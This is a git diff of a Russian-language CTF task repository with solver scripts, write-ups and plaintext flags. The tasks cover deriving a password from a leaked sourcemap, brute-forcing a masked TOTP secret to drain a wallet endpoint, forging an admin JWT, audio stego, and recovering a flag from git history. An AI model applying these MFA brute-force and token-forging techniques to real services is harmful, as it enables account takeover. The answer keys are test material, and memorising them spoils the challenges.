game_code = m_code.group(0) + return flag, game_code + + +def main(): + parser = argparse.ArgumentParser(description="NarodUslugi solver") + parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)") + parser.add_argument("--url", help="Base URL, e.g. http://host:7000") + parser.add_argument("--parta", help="PWD_PART_A value") + parser.add_argument("--user", help="Override username") + parser.add_argument("--insecure", action="store_true", help="Disable TLS verification") + parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session") + args = parser.parse_args() + + file_url, file_parta, file_user = read_target_file(args.target_file) + base_url = normalize_base(args.url or file_url) + parta = args.parta or file_parta + user = args.user or file_user + + if not base_url: + print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr) + sys.exit(1) + + jar = http.cookiejar.CookieJar() + opener = make_opener(jar, insecure=args.insecure) + + code, _, body = http_request(opener, "GET", base_url + "/") + if code != 200: + print(f"Failed to load login page: {code}", file=sys.stderr) + sys.exit(1) + html = body.decode("utf-8", errors="replace") + if not user: + user = extract_username(html) + if not user: + print("Failed to detect username; pass --user or add to target file.", file=sys.stderr) + sys.exit(1) + + code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map") + if code != 200: + print(f"Failed to fetch sourcemap: {code}", file=sys.stderr) + sys.exit(1) + pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace")) + if not pepper_xor_hex: + print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr) + sys.exit(1) + + partb = derive_part_b(user, pepper_xor_hex) + if not parta: + print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr) + sys.exit(1) + + password = derive_pass(parta, partb) + + # Trusted login to get masked OTP secret. + trusted_jar = http.cookiejar.CookieJar() + trusted_opener = make_opener(trusted_jar, insecure=args.insecure) + code, _, _ = login(trusted_opener, base_url, user, password, trusted=True) + if code == 429: + print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr) + sys.exit(1) + if code != 200: + print(f"Trusted-device login failed: {code}", file=sys.stderr) + sys.exit(1) + + masked_secret = get_masked_secret(trusted_opener, base_url) + if not masked_secret: + print("Failed to retrieve masked OTP secret.", file=sys.stderr) + sys.exit(1) + + offset = fetch_server_offset(opener, base_url) + + attempts = 0 + session_opener = None + for candidate in iter_candidates(masked_secret): + if session_opener is None or attempts >= args.max_per_session: + session_jar = http.cookiejar.CookieJar() + session_opener = make_opener(session_jar, insecure=args.insecure) + code, _, _ = login(session_opener, base_url, user, password, trusted=False) + if code != 200: + print(f"Login failed during brute-force: {code}", file=sys.stderr) + sys.exit(1) + attempts = 0 + + now = time.time() + offset + otp = totp(candidate, now) + if mfa_attempt(session_opener, base_url, otp): + flag, game_code = fetch_flag(session_opener, base_url) + print(f"user={user}") + print(f"pass={password}") + print(f"otp_secret={candidate}") + if flag: + print(flag) + if game_code: + print(game_code) + return + + attempts += 1 + + print("OTP secret not found in search space.", file=sys.stderr) + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/GAME/narod/writeup.md b/GAME/narod/writeup.md new file mode 100644 index 0000000..4b6b797 --- /dev/null +++ b/GAME/narod/writeup.md @@ -0,0 +1,91 @@ +# NarodUslugi - полный разбор (пошагово) + +Этот разбор объясняет, как устроен сервис и как решатель получает флаг. +Ссылки идут на локальные файлы задачи в этой директории. + +## 1) Входные данные и их источники + +- URL цели, partA и user можно читать из `target.txt` или передать через CLI. +- Поведение сервера описано в `files/server.js`. +- Логика решателя находится в `solver.py`. +- Значения окружения указаны в `web_naroduslugi_6.yml`. + +## 2) Формула пароля (на сервере) + +В `files/server.js` сервер считает пароль так: + +- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]` + +`partA` у нас есть, но `partB` скрыт. + +## 3) Где спрятан partB + +Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой: + +- `pepper_xor_hex` (hex-строка) + +Она вычисляется так: + +- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])` + +Значит `partB` можно восстановить, если известен `user`. + +## 4) Как восстановить partB + +Шаги, которые делает `solver.py`: + +1. `mask = sha1(user).digest()[:6]` +2. Преобразовать `pepper_xor_hex` в байты. +3. XOR-нуть каждый байт с `mask` (по кругу). +4. Декодировать результат как UTF-8 и получить `partB`. + +После этого вычисляется пароль: + +- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]` + +## 5) Trusted-device логин для доступа к экспорту профиля + +Есть альтернативная авторизация, описанная в `/.well-known/`: + +- Заголовки: `X-TS` и `X-Trusted-Device` +- `X-Trusted-Device = hex(hmac_sha1(pass, ts))` +- `ts` должен быть в окне 120 секунд + +Если заголовки валидны, сессия помечается как `mfa=true`, но +`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`. + +## 6) Экспорт OTP-секрета отдается с маской + +`/profile/export?fmt=ini` возвращает: + +- `otp_secret` с заменой последних 2 base32-символов на `??` + +Есть CSRF-проверка: нужен `Referer: /profile`. +Решатель выставляет этот заголовок. + +## 7) Брут последних 2 base32-символов + +Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов. +Решатель перебирает все кандидаты: + +1. Логинится обычным способом (без trusted заголовков). +2. Считает TOTP для кандидата. +3. POST на `/mfa` с `otp`. +4. При успехе открывает `/wallet` и `/wallet/drain`. + +## 8) Синхронизация времени + +Решатель читает `/__status__`, чтобы получить смещение времени сервера +и учитывать его при генерации TOTP (защита от дрейфа часов). + +## 9) Получение флага + +Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain` +возвращает флаг. + +## 10) Важные ловушки + +- Повторный trusted-логин во время активного окна доверия вызывает бан. +- Если trusted-сессия протухла без OTP, при следующем запросе будет бан. +- Решатель использует отдельные cookie-jar и лимит попыток на сессию. + diff --git a/GAME/nas/Stegano/README.md b/GAME/nas/Stegano/README.md new file mode 100644 index 0000000..97c57de --- /dev/null +++ b/GAME/nas/Stegano/README.md @@ -0,0 +1,18 @@ +GameStegoAudio | Stego | Medium? + +## Автор +instanc3:@instanc3 + +## Информация для участников + +## Выдать участникам +Аудио файл: some_secret.wav + +## Решение +1. Понять, что информация скрыта в правом канале → проверить распределение LSB по каналам/участкам. +2. Замечаем, что данные начинаются после ~1 с и идут через один. +3. Считать LSB правого канала с skip=1s, step=2, собрать в байты (MSB→LSB). +4. Увидеть заголовок STAG, прочитать длину и CRC, взять полезную нагрузку, zlib-decompress → получить caplag{...}. + +## Флаг +`caplag{gam3_au1d0_st3g0_1s_d0n3}` \ No newline at end of file diff --git a/GAME/nas/Stegano/stego_task_solve.py b/GAME/nas/Stegano/stego_task_solve.py new file mode 100644 index 0000000..93a13ea --- /dev/null +++ b/GAME/nas/Stegano/stego_task_solve.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import wave +import struct +import zlib +import numpy as np + +SR = 44100 +SKIP_SEC = 1.0 +STEP = 2 +IN_WAV = "some_secret.wav" + +def read_wav_int16(path: str): + with wave.open(path, "rb") as wf: + assert wf.getnchannels() == 2 + assert wf.getsampwidth() == 2 + sr = wf.getframerate() + frames = wf.readframes(wf.getnframes()) + arr = np.frombuffer(frames, dtype=np.int16).reshape(-1, 2) + return sr, arr + +def bits_to_bytes_big_endian(bits: np.ndarray) -> bytes: + # Длина должна быть кратна 8 + n = (bits.size + 7) // 8 * 8 + if n != bits.size: + bits = np.pad(bits, (0, n - bits.size), constant_values=0) + by = np.packbits(bits.astype(np.uint8), bitorder='big').tobytes() + return by + +def extract_header_and_length(right: np.ndarray, sr: int): + skip = int(sr * SKIP_SEC) + # Считываем первые 12 байт (заголовок: 4 + 4 + 4) + header_bits_count = 12 * 8 + idxs = skip + np.arange(header_bits_count) * STEP + bits = (right[idxs] & 1).astype(np.uint8) + header = bits_to_bytes_big_endian(bits) + magic = header[:4] + if magic != b"STAG": + raise ValueError("Магия заголовка не совпала — это не тот контейнер.") + length = struct.unpack(">I", header[4:8])[0] + crc = struct.unpack(">I", header[8:12])[0] + return length, crc + +def extract_all(sr: int, stereo: np.ndarray): + right = stereo[:, 1] + length, crc_expected = extract_header_and_length(right, sr) + total_bytes = 12 + length + total_bits = total_bytes * 8 + skip = int(sr * SKIP_SEC) + idxs = skip + np.arange(total_bits) * STEP + bits = (right[idxs] & 1).astype(np.uint8) + data = bits_to_bytes_big_endian(bits) + header = data[:12] + payload = data[12:12+length] + crc_actual = zlib.crc32(payload) & 0xFFFFFFFF + if crc_actual != crc_expected: + raise ValueError("CRC не сошлась — данные повреждены или неверные параметры извлечения.") + flag = zlib.decompress(payload).decode("utf-8") + return flag + +def main(): + sr, stereo = read_wav_int16(IN_WAV) + flag = extract_all(sr, stereo) + print("[+] DATA [ ", flag, " ]") + +if __name__ == "__main__": + main() diff --git a/GAME/nas/writeup.md b/GAME/nas/writeup.md new file mode 100644 index 0000000..2d823d7 --- /dev/null +++ b/GAME/nas/writeup.md @@ -0,0 +1,70 @@ +# Writeup для NAS (русская версия) + +## Цель + Зайти в хранилище + +## 1 Задание Посчитать пароль админа и войти +Пароль админа — первые 12 символов: +``` +sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория +Входим + +``` + +Пример: +```python +import hashlib + +admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12] +print(admin_pass) +``` + +Логин: `/login` с: +``` +username=admin +password= +``` +Сохраните cookie `sid` из ответа. +Получаем доступ к файлу .wav +Дальше решение из папки Stegano. + + + + + + + + +## 2 задание Сковать bearer JWT и забрать финальный флаг +`/admin/flag` требует: +- cookie `sid` (админская сессия) +- `Authorization: Bearer ` + +Ограничения на payload: +- `role: "admin"` +- `kpf: ` +- `aud: "nas-admin"` +- `iat`: текущее UNIX‑время (допуск примерно ±120 сек) + +Пример: +```python +import time, jwt + +payload = { + "role": "admin", + "kpf": KETTLE_PROOF, + "aud": "nas-admin", + "iat": int(time.time()), +} +token = jwt.encode(payload, JWT_SECRET, algorithm="HS256") +print(token) +``` + +Запрос: +``` +GET /admin/flag +Cookie: sid= +Authorization: Bearer +``` + +В ответе — финальный флаг. diff --git a/GAME/osint/gen.py b/GAME/osint/gen.py new file mode 100644 index 0000000..58d803f --- /dev/null +++ b/GAME/osint/gen.py @@ -0,0 +1,433 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +forge_repo_staging.py — генерирует публичный репозиторий с 500+ коммитами. +Строка mesh: "OH-21B4" и base64-флаг встречаются РОВНО в одном коммите ветки +`staging/router-mesh`. В main их нет (ветка смёржена через --squash). +Можно сразу запушить: python3 forge_repo_staging.py --push +Или задать автора: --author-name "Имя" --author-email you@example.com +""" + +import os, sys, json, random, subprocess, shutil, argparse, base64, re +from datetime import datetime, timedelta, timezone + +# -------- параметры по умолчанию -------- +REPO_NAME = "iot-suite-repo-mega-fixed" +BRANCH_SECRET = "staging/router-mesh" +FEATURE_BRANCHES = [ + ("feature/ui-polish", 6), + ("hotfix/diag-timeout", 3), + ("refactor/router-cfg", 5), +] +MAIN_COMMITS = 520 # шумовых коммитов в main +TIME_START = datetime(2023, 3, 1, 10, 0, tzinfo=timezone(timedelta(hours=1))) +STEP_MAIN = timedelta(hours=6) +STEP_BRANCH = timedelta(hours=2) + +AUTHORS_DEFAULT = [ + ("Natalie Orlov", "natalie@orbital.home"), + ("Anton Lebedev", "anton@orbital.home"), + ("Nina Petrova", "nina@orbital.home"), + ("Mark Isaev", "mark@orbital.home"), + ("QA Bot", "qa-bot@orbital.home"), +] + +NOISE_MESSAGES = [ + "docs: update changelog", "chore: reformat", "ci: bump node action", + "router: refactor logger", "kettle: tweak diag", "nas: session cleanup", + "printer: queue cosmetics", "deps: bump ejs", "deps: bump express", + "test: deflake", "build: docker cache", "perf: micro-opt", + "style: trailing space", "docs: badges", +] + +FLAG_PLAINTEXT = "caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}" +FLAG_B64 = base64.b64encode(FLAG_PLAINTEXT.encode()).decode() + +def sh(args, cwd=None, env=None): + return subprocess.run(args, cwd=cwd, env=env, check=True, + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout.strip() + +def write(path, content, binary=False): + os.makedirs(os.path.dirname(path), exist_ok=True) + mode = "wb" if (binary or isinstance(content, (bytes, bytearray))) else "w" + with open(path, mode, encoding=None if mode=="wb" else "utf-8") as f: + f.write(content) + +BASE_README = """# Orbital Home — IoT Suite (public) +Публичная версия кодовой базы для демонстраций: Router, Printer, Kettle, NAS. +Документация и закрытые части вырезаны. +""" + +# ---------------- router (публичный минимальный) ---------------- +ROUTER_SERVER = """import express from 'express'; +import fs from 'fs'; +import path from 'path'; +import { fileURLToPath } from 'url'; + +const __dirname = path.dirname(fileURLToPath(import.meta.url)); +const app = express(); +const PORT = process.env.PORT || 8085; + +const cfgPath = path.join(__dirname, 'config', 'router.json'); +let cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf-8')); + +app.get('/info_connection', (req,res)=>{ + res.json({ devices: [ + { name:'Printer', model:'PRN-3130', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://printer.local' }, + { name:'Kettle', model:'KTL-74C1', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://kettle.local' }, + { name:'NAS', model:'NAS-220', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://nas.local' } + ]}); +}); + +app.get('/', (req,res)=> res.type('text/plain').send('Router UI (public build)')); +app.listen(PORT, ()=> console.log(`[router-public] listening on ${PORT}`)); +""" + +ROUTER_PKG = { + "name":"router-public","version":"0.3.0","type":"module", + "scripts":{"start":"node server.js"}, + "dependencies":{"express":"^4.19.2"} +} + +# ---------------- printer (замаскированный) ---------------- +PRINTER_SERVER_PUBLIC = """import express from 'express'; +import fs from 'fs'; +import path from 'path'; +import { fileURLToPath } from 'url'; + +const __dirname = path.dirname(fileURLToPath(import.meta.url)); +const app = express(); +const PORT = process.env.PORT || 8080; +const QUEUE_DIR = path.join(__dirname, 'data', 'queue'); + +// : private build may include additional endpoints and auth + +app.get('/', (req,res)=> res.type('text/plain').send('Printer UI (public build)')); + +app.get('/jobs/preview', (req,res)=>{ + const name = String(req.query.file||'').replace(/\\\\/g,'/'); + if (!name || name.includes('..') || path.isAbsolute(name)) return res.status(400).send('bad path'); + const abs = path.join(QUEUE_DIR, path.normalize(name)); + if (!abs.startsWith(QUEUE_DIR)) return res.status(400).send('bad path'); + if (!fs.existsSync(abs)) return res.status(404).send('not found'); + fs.createReadStream(abs).pipe(res); +}); + +app.get('/go', (req,res)=>{ + const u = String(req.query.u||''); + if (/^https?:\\/\\//i.test(u)) return res.redirect(302,u); + res.redirect('/'); +}); + +app.get('/robots.txt', (req,res)=> res.type('text/plain').send('User-agent: *\\nDisallow:\\n')); + +app.listen(PORT, ()=> console.log(`[printer-public] listening on ${PORT}`)); +""" + +PRINTER_PKG_PUBLIC = { + "name":"printer-public","version":"0.3.0","type":"module", + "scripts":{"start":"node server.js"}, + "dependencies":{"express":"^4.19.2"} +} + +# ---------------- kettle (замаскированный) ---------------- +KETTLE_SERVER_PUBLIC = """import express from 'express'; +import path from 'path'; +import { fileURLToPath } from 'url'; + +// import axios from 'axios'; // +// import crypto from 'crypto'; // +// const PRINTER_PROOF = process.env.PRINTER_PROOF; // +// const KETTLE_NONCE = process.env.KETTLE_NONCE; // +// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // + +const __dirname = path.dirname(fileURLToPath(import.meta.url)); +const app = express(); +const PORT = process.env.PORT || 8081; + +app.get('/', (req,res)=> res.redirect('/diagnostics')); + +app.get('/diagnostics', (req,res)=>{ + // In private build this page exposes limited device info and triggers telemetry. + res.type('text/plain').send('Kettle diagnostics (public build)'); +}); + +app.post('/diagnostics/fetch', (req,res)=>{ + // : route-signature-based fetch via internal gateway + // key = (PRINTER_PROOF + ":" + KETTLE_NONCE).encode() + //mac = hmac.new(key, (url + '\n' + ts).encode(), hashlib.sha256).hexdigest() + res.status(501).type('text/plain').send('disabled in public build'); +}); + +app.get('/assets/badge.svg', (req,res)=>{ + res.type('image/svg+xml').send(''); +}); + +app.listen(PORT, ()=> console.log(`[kettle-public] listening on ${PORT}`)); +""" + +KETTLE_PKG_PUBLIC = { + "name":"kettle-public","version":"0.3.0","type":"module", + "scripts":{"start":"node server.js"}, + "dependencies":{"express":"^4.19.2"} +} + +# ---------------- nas (замаскированный) ---------------- +NAS_SERVER_PUBLIC = """import express from 'express'; +import path from 'path'; +import { fileURLToPath } from 'url'; +// import jwt from 'jsonwebtoken'; // +// import crypto from 'crypto'; // +// const JWT_SECRET = process.env.JWT_SECRET; // +// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // + +const __dirname = path.dirname(fileURLToPath(import.meta.url)); +const app = express(); +const PORT = process.env.PORT || 5000; + +app.use(express.urlencoded({ extended:false })); +app.use(express.json()); + +app.get('/', (req,res)=> res.redirect('/login')); +app.get('/login', (req,res)=> res.type('text/plain').send('NAS login (public build)')); +app.post('/login', (req,res)=> res.status(501).send('disabled in public build')); +// admin_pass = hashlib.sha1((KETTLE_PROOF + ":" + PRINTER_PROOF).encode()).hexdigest()[:12] + +app.get('/internal/hint', (req,res)=>{ + // internal gateway-only endpoint (requires shared key + route sign) + res.status(403).type('text/plain').send('forbidden (public build)'); +}); + +app.get('/admin/flag', (req,res)=> res.status(404).send('not found')); + const auth = req.headers.authorization || ''; + const token = auth.replace(/^Bearer\s+/,''); + try{ + const payload = jwt.verify(token, JWT_SECRET, { algorithms:['HS256'] }); + if (payload.role !== 'admin') return res.status(403).send('need admin role'); + if (payload.kpf !== KETTLE_PROOF) return res.status(403).send('incorrect kpf'); + if (payload.aud !== 'nas-admin') return res.status(403).send('bad aud'); + const now = Math.floor(Date.now()/1000); + if (!payload.iat || Math.abs(now - payload.iat) > 120) return res.status(403).send('iat too old'); + +app.listen(PORT, ()=> console.log(`[nas-public] listening on ${PORT}`)); +""" + +NAS_PKG_PUBLIC = { + "name":"nas-public","version":"0.3.0","type":"module", + "scripts":{"start":"node server.js"}, + "dependencies":{"express":"^4.19.2"} +} + +def commit(root, message, when, author): + sh(["git","add","-A"], cwd=root) + env = os.environ.copy() + env.update({ + "GIT_AUTHOR_NAME": author[0], "GIT_AUTHOR_EMAIL": author[1], + "GIT_COMMITTER_NAME": author[0], "GIT_COMMITTER_EMAIL": author[1], + "GIT_AUTHOR_DATE": when.isoformat(), + "GIT_COMMITTER_DATE": when.isoformat(), + }) + sh(["git","commit","-m", message], cwd=root, env=env) + +def set_mesh(root, value): + cfgp = os.path.join(root,"router/config/router.json") + with open(cfgp,"r+",encoding="utf-8") as f: + data = json.load(f) + data["mesh"] = value + f.seek(0); json.dump(data, f, indent=2); f.truncate() + +def add_vendor_note(root, b64text): + p = os.path.join(root,"router/server.js") + with open(p,"a",encoding="utf-8") as f: + f.write(f"\n// vendor-note: {b64text}\n") + +def remove_vendor_note(root): + p = os.path.join(root,"router/server.js") + with open(p,"r",encoding="utf-8") as f: + s = f.read() + s = re.sub(r"\n?//\s*vendor-note:[^\n]*\n?", "\n", s, flags=re.IGNORECASE) + with open(p,"w",encoding="utf-8") as f: + f.write(s) + +def add_trailing_space_lines(path): + with open(path, "r", encoding="utf-8") as f: + lines = f.read().splitlines() + with open(path, "w", encoding="utf-8") as f: + for line in lines: + f.write(line.rstrip(" ") + " \n") + +def strip_trailing_space_lines(path): + with open(path, "r", encoding="utf-8") as f: + lines = f.read().splitlines() + with open(path, "w", encoding="utf-8") as f: + for line in lines: + f.write(line.rstrip(" ") + "\n") + +def snapshot_public_sources(root): + for rel in ("kettle/server.js", "nas/server.js"): + add_trailing_space_lines(os.path.join(root, rel)) + +def restore_public_sources(root): + for rel in ("kettle/server.js", "nas/server.js"): + strip_trailing_space_lines(os.path.join(root, rel)) + +def mutate_noise(root, i): + choice = random.choice(["docs","router","printer","kettle","nas"]) + if choice == "docs": + p = os.path.join(root,"docs/CHANGELOG.md") + with open(p,"a",encoding="utf-8") as f: + f.write(f"- maintenance {i}\n") + elif choice in ("router","printer","kettle","nas"): + p = os.path.join(root, f"{choice}/server.js") if choice=="router" else os.path.join(root,f"{choice}/server.js") + # лёгкая косметика-комментарий + with open(p,"a",encoding="utf-8") as f: + f.write(f"\n// note: minor tweak {i}\n") + +def init_repo(root, primary_author, authors): + if os.path.exists(root): + shutil.rmtree(root) + os.makedirs(root, exist_ok=True) + sh(["git","init","--initial-branch=main"], cwd=root) + + write(os.path.join(root,"README.md"), BASE_README) + write(os.path.join(root,"docs/CHANGELOG.md"), "## Changelog (public)\n") + + # router + write(os.path.join(root,"router/server.js"), ROUTER_SERVER) + write(os.path.join(root,"router/package.json"), json.dumps(ROUTER_PKG, indent=2, ensure_ascii=False)) + write(os.path.join(root,"router/config/router.json"), json.dumps({"vendor":"Orbital Home","mesh":"OH-2194"}, indent=2)) + + # printer (публичный, безопасный) + write(os.path.join(root,"printer/server.js"), PRINTER_SERVER_PUBLIC) + write(os.path.join(root,"printer/package.json"), json.dumps(PRINTER_PKG_PUBLIC, indent=2, ensure_ascii=False)) + write(os.path.join(root,"printer/data/queue/readme.txt"), "public job\n") + + # kettle (публичный, урезанный) + write(os.path.join(root,"kettle/server.js"), KETTLE_SERVER_PUBLIC) + write(os.path.join(root,"kettle/package.json"), json.dumps(KETTLE_PKG_PUBLIC, indent=2, ensure_ascii=False)) + + # nas (публичный, урезанный) + write(os.path.join(root,"nas/server.js"), NAS_SERVER_PUBLIC) + write(os.path.join(root,"nas/package.json"), json.dumps(NAS_PKG_PUBLIC, indent=2, ensure_ascii=False)) + + commit(root, "init(public): scaffold modules", TIME_START, primary_author) + +def build_main(root, authors): + t = TIME_START + for i in range(1, MAIN_COMMITS+1): + t = t + STEP_MAIN + timedelta(minutes=random.randint(0,59)) + mutate_noise(root, i) + commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors)) + return t + +def merge_noff(root, branch_name, message, when, author): + sh(["git","checkout","main"], cwd=root) + sh(["git","merge","--no-ff", branch_name, "-m", message], cwd=root) + +def build_feature_branch(root, name, commits, base_time, authors): + sh(["git","checkout","-b", name], cwd=root) + t = base_time + for i in range(commits): + t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,40)) + mutate_noise(root, 5000+i) + commit(root, f"{name}: routine update {i+1}", t, random.choice(authors)) + merge_noff(root, name, f"merge: {name}", t + timedelta(minutes=5), random.choice(authors)) + sh(["git","branch","-d", name], cwd=root) + +def build_secret_branch(root, base_time, authors): + # ответвиться от текущего HEAD main + sh(["git","checkout","-b", BRANCH_SECRET], cwd=root) + t = base_time + + # немного шума до секрета + for i in range(2): + t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,30)) + mutate_noise(root, 8000+i) + commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors)) + + # СЕКРЕТНЫЙ КОММИТ: OH-21B4 + base64-флаг как комментарий в router/server.js + t = t + STEP_BRANCH + set_mesh(root, "OH-21B4") + add_vendor_note(root, FLAG_B64) + snapshot_public_sources(root) + commit(root, "router: set mesh id in config (staging bench)", t, random.choice(authors)) + + # ещё шум + for i in range(2): + t = t + STEP_BRANCH + mutate_noise(root, 8100+i) + commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors)) + + # вернуть прод-значение и удалить комментарий + t = t + STEP_BRANCH + set_mesh(root, "OH-2194") + remove_vendor_note(root) + restore_public_sources(root) + commit(root, "router: revert mesh id to production", t, random.choice(authors)) + + # финальный шум на ветке + t = t + STEP_BRANCH + mutate_noise(root, 8200) + commit(root, "chore: staging cleanup", t, random.choice(authors)) + + # squash-merge в main (в main ни OH-21B4, ни vendor-note не попадут) + sh(["git","checkout","main"], cwd=root) + sh(["git","merge","--squash", BRANCH_SECRET], cwd=root) + t = t + STEP_BRANCH + commit(root, f"merge: {BRANCH_SECRET}", t, random.choice(authors)) + # Ветку НЕ удаляем — пусть живёт + +def tag_releases(root): + sh(["git","tag","-a","v0.2.0","-m","public release 0.2.0"], cwd=root) + sh(["git","tag","-a","v0.3.0","-m","public release 0.3.0"], cwd=root) + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--author-name", default=None, help="Primary author name") + parser.add_argument("--author-email", default=None, help="Primary author email") + parser.add_argument("--push", default=None, help="Git remote URL to push (SSH or HTTPS)") + args = parser.parse_args() + + primary = (args.author_name or "Your Name", args.author_email or "you@example.com") + authors = [primary] + [a for a in AUTHORS_DEFAULT if a[1] != primary[1]] + + random.seed(42) + root = os.path.abspath(REPO_NAME) + init_repo(root, primary, authors) + t_end_main = build_main(root, authors) + + # пара симпатичных merge-веток + for name, count in FEATURE_BRANCHES: + build_feature_branch(root, name, count, t_end_main, authors) + t_end_main = t_end_main + timedelta(hours=1) + + # секретная ветка + build_secret_branch(root, t_end_main, authors) + + tag_releases(root) + + print(f"[ok] repo created: {root}") + print("\nПроверка локально:") + print(" cd", REPO_NAME) + print(" git log -S 'OH-21B4' --all --oneline") + print(" git grep -n 'OH-21B4' $(git rev-list --all)") + print(" git show $(git log -S 'OH-21B4' --all -n 1 --pretty=%H) | grep -i 'vendor-note'") + print("\nПуш в GitHub вручную:") + print(" git remote add origin ") + print(" git push -u origin --all --tags") + + if args.push: + sh(["git","remote","add","origin", args.push], cwd=root) + sh(["git","push","-u","origin","--all"], cwd=root) + sh(["git","push","origin","--tags"], cwd=root) + print("[ok] pushed to:", args.push) + print("Проверь ветки/теги на GitHub UI.") + +if __name__ == "__main__": + main() + + + + + + diff --git a/GAME/osint/solver.py b/GAME/osint/solver.py new file mode 100644 index 0000000..6230cda --- /dev/null +++ b/GAME/osint/solver.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import argparse +import base64 +import re +import subprocess +from pathlib import Path + + +def sh(args, cwd=None): + proc = subprocess.run( + args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + if proc.returncode != 0: + err = proc.stderr.strip() or proc.stdout.strip() + cmd = " ".join(args) + raise SystemExit(f"command failed: {cmd}\n{err}") + return proc.stdout.strip() + + +def default_clone_dir(repo_url, base_dir): + name = repo_url.rstrip("/").split("/")[-1] + if name.endswith(".git"): + name = name[:-4] + return base_dir / (name or "repo") + + +def commit_candidates(repo_dir): + patterns = ("vendor-note", "OH-21B4") + for pattern in patterns: + out = sh(["git", "log", "-S", pattern, "--all", "--pretty=%H"], cwd=repo_dir) + commits = [line.strip() for line in out.splitlines() if line.strip()] + if commits: + return commits + return [] + + +def find_vendor_note(repo_dir): + for commit in commit_candidates(repo_dir): + try: + src = sh(["git", "show", f"{commit}:router/server.js"], cwd=repo_dir) + except subprocess.CalledProcessError: + continue + match = re.search(r"vendor-note:\s*([A-Za-z0-9+/=]+)", src) + if not match: + continue + b64_note = match.group(1) + flag = base64.b64decode(b64_note).decode("utf-8", "replace") + return commit, b64_note, flag + raise SystemExit("vendor-note not found in history") + + +def dump_sources(repo_dir, commit): + paths = [ + "router/server.js", + "router/config/router.json", + "printer/server.js", + "kettle/server.js", + "nas/server.js", + ] + for rel in paths: + content = sh(["git", "show", f"{commit}:{rel}"], cwd=repo_dir) + print(f"\n--- {rel} @ {commit} ---") + print(content.rstrip("\n")) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("repo", help="Git URL or local path") + parser.add_argument("--dest", default=None, help="Clone directory (default: /)") + args = parser.parse_args() + + base_dir = Path(__file__).resolve().parent + clone_dir = Path(args.dest).resolve() if args.dest else default_clone_dir(args.repo, base_dir) + + if clone_dir.exists(): + print(f"[i] using existing repo: {clone_dir}") + else: + print(f"[i] cloning into: {clone_dir}") + sh(["git", "clone", args.repo, str(clone_dir)]) + sh(["git", "fetch", "--all", "--prune"], cwd=clone_dir) + + commit, b64_note, flag = find_vendor_note(clone_dir) + print(f"[ok] clone_dir: {clone_dir}") + print(f"[ok] commit: {commit}") + print(f"[ok] vendor_note_b64: {b64_note}") + print(f"[ok] flag: {flag}") + dump_sources(clone_dir, commit) + + +if __name__ == "__main__": + main() diff --git a/GAME/osint/writeup.md b/GAME/osint/writeup.md new file mode 100644 index 0000000..71d5c1b --- /dev/null +++ b/GAME/osint/writeup.md @@ -0,0 +1,60 @@ +# Writeup: Orbital Home / OH-21B4 + +## Вводные из игры +Участники получили две зацепки: название производителя `Orbital Home` и параметр `mesh` со значением `OH-21B4` (в легенде мог быть написан как mash/mesh). + +## Поиск репозитория +1) По ключу производителя: + - запросы: `"Orbital Home"`, `orbital.home`, `"Orbital Home" iot`. + - подсказка: в коммитах встречаются e-mailы вида `@orbital.home`, что хорошо ищется по GitHub. +2) По связке с mesh: + - запросы: `"OH-21B4" github`, `"mesh" "Orbital Home"`. + +В результате находится публичный репозиторий с IoT-модулями (router/printer/kettle/nas). В README он описан как публичная сборка «Orbital Home IoT Suite». + +## Что внутри репозитория +- `router/` — сервис роутера и `config/router.json` с полями `vendor` и `mesh`. +- `printer/`, `kettle/`, `nas/` — публичные версии сервисов (функции урезаны, часть эндпоинтов закомментирована). +- История содержит доп. ветку `staging/router-mesh`, где во время стендовых проверок меняли `mesh`. + +## Как извлечь артефакт +1) Клонировать репозиторий и посмотреть все ветки: + +```bash +git clone +cd +git branch -a +``` + +2) Поискать `OH-21B4` по истории всех веток: + +```bash +git log --all -S "OH-21B4" --oneline +# или + git grep -n "OH-21B4" $(git rev-list --all) +``` + +3) Открыть найденный коммит: + +```bash +git show :router/config/router.json +git show :router/server.js +``` + +В `router/server.js` обнаруживается строка вида: + +``` +// vendor-note: +``` + +4) Декодировать base64: + +```bash +echo | base64 -d +``` + +Получаем флаг: + +``` +caplag{Orb1ta1-h0me-vendor-found-needed-branch-version} +``` diff --git a/GAME/printer/WRITEUP.md 